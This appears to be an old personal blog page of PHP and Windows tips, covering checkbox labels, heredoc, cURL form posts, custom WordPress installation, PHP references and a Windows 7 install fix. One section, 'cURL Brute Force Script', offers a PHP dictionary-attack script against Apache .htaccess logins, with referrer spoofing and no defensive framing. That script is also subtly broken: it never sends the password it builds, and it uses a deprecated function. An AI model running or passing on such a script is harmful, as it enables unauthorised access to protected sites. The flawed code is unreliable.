twitter
    Find out what I'm doing, Follow Me :)
If you have any question, suggestion or article topic for me to write, feel free to contact me through my shout box. ;) Some time I need an idea to write. hehe Hopefully I can help you and share my expertise.

I'm moving ibnuyahya.com

Salam...

This blog is no longer maintain since I'm moving to my new site at http://ibnuyahya.com

better checkbox click with label

Normally we put text after checkbox to give more info for that checkbox like this


Remember info?



Remember info?
However, user can't click on that Remember info? text to check or uncheck that checkbox by using this method.

Here is the enhancement for that problem.





Instead of using normal text, we are using label and for tag. for tag inside label element attribute is refer to which checkbox.Then, when you click on remember info?.. the checkbox will checked/unchecked accordingly.

what is <<< symbol in php?

finally I know this <<< symbol meaning. It's called Heredoc. You can get more info from php.net http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc

php curlhow to post using curl

curl is a command line tool for transferring files with URL syntax. cURL supporting a large internet protocol such as HTTP POST, HTTP PUT, FTP etc.

libcurl is a free and easy-to-use client-side URL transfer library, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE. libcurl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, Kerberos4), file transfer resume, http proxy tunneling and more!

PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols.


How to submit form post using cUrl?


Submit form post using cUrl is pretty simple.
$url = 'http://mydomain.com/';
$postdata = "Submit=Install%20WordPress&admin_email=" . $wp_admin_email . "&blog_public=1&weblog_title=" . $wp_title;
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url . "wp-admin/install.php?step=2");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt ($ch, CURLOPT_REFERER, $url . "wp-admin/install.php");
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_POST, 1);
$result = curl_exec ($ch);
curl_close($ch);


I create this sample code to sent a post into wordpress install.php without open that page manually. It's mean I can sent a form post from outside of the target domain and display the result from my execute code.

Others thing that cUrl can do?


cURL Brute Force Script

The following cURL script can be used to brute force Apache .htaccess authentication:
$url = "http://www.example.com/admin/";    // Set the URL to be bruteforced
$ref = "http://www.example.com/index.php"; // Set the referrer to spoof
$denied = "Forbidden"; // Set the "Denied" output
$wordlist = "/var/www/wordlist.txt"; // Set the wordlist location
set_time_limit( 0 ); // Set script execution limit. 0 = no limit

$ch = curl_init( ); // Initialise cURL
curl_setopt( $ch, CURLOPT_URL, $url ); // Set URL as $url
curl_setopt( $ch, CURLOPT_RETURNTRANSFER,1 ); // Set RETURNTRANSFER to TRUE
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION,1 ); // Set FOLLOWLOCATION to TRUE

foreach( file( $wordlist ) as $password ) // Start the loop for dictionary attack
{
$force = "http://admin:{$password}@www.example.com/admin/"; // Set the URL to attack,
curl_setopt( $ch, CURLOPT_URL, $url ); // Load the URL to attack with cURL
$check = curl_exec( $ch ); // Set params to check
if( !eregi( $denied, $check ) ) // Check to see if $denied is not in page
{
die( "Success! The password is: {$password}" ); // If $denied returns false, success
}
}
curl_close( $ch ); // Close the cURL process

customize wordpress installation

How to custom install wordpress?. I'm currently work with wordpress custom installation. My objective is to make wordpress automatically install and activate plugin when I install new wordpress file. If you asking it is possible?. My answer is YES.. it is.

How to create custom wordpress installation?


1. If you install wordpress file, by default wordpress will execute install.php under wp-admin/install.php and then execute upgrade.php under wp-admin/includes/upgrade.php
2. open upgrade.php file and you can see at line 11.
/** Include user install customize script. */
if ( file_exists(WP_CONTENT_DIR . '/install.php') )
require (WP_CONTENT_DIR . '/install.php');

the script will check whether there is install.php file in the wp-content/ . If have, it will execute this script first.
3. to use custom script, you need to create install.php file in the wp-content/install.php
4. you may create wp_install() function inside wp-content/install.php to override n wp_install() at wp-admin/includes/upgrade.php . you can add whatever you want like automatically install/activate plugin, change default theme etc here without make any changes at original upgrade.php code.

what does & ( ampersand ) simbol infront of variable means in php

Prior to PHP5, when you created an object from a class in PHP, that object would be passed into other variables by value. The object was NOT a reference, as is standard in most other object oriented (Java, C#, etc.) languages.

However, by instantiating a class with an ampersand in front of it, you could create a reference to the returned object, and it would behave like an object in other languages. This was a common technique prior to PHP5 to achieve OOP like effects and/or improve performance.

eg
$foo = 'bar';
$baz = &$foo;

echo $foo //bar
echo $baz //bar

$foo = 'foobazbar';
echo $foo //foobazbar
echo $baz //foobazbar



ref
http://www.php.net/manual/en/language.references.whatdo.php
http://us3.php.net/manual/en/language.references.pass.php

windows 7 installation failed ..keep reboot

I finally manage to install windows 7 after wasting a few hour to configure the "windows can't complete installation cause of keep rebooting" upon installation. My system is AMD64 Athlon with 1.5 GB Memory.

Firstly I try to install windows 7 64bit. My installation process can't complete. It's keep booting after installation in the final stage.Then I try several time... I reset my bios... delete partition and still no luck. Then I try windows 7 32bit, just to test whether it's 64bit problem.. The result is still same.. keep booting after installation at the final stage.

Then I try check step by step.. here is my solution
1. Press F8 to pull up advanced boot menu
2. Select Enable low-resolution video (640×480)
3. proceed the installation process...

you need to do this untill you windows 7 installation is complete and you can login into your windows.

after login, you need to update your VGA drive for the higher resolution.

This error is cause by windows 7 use high resolution as a default.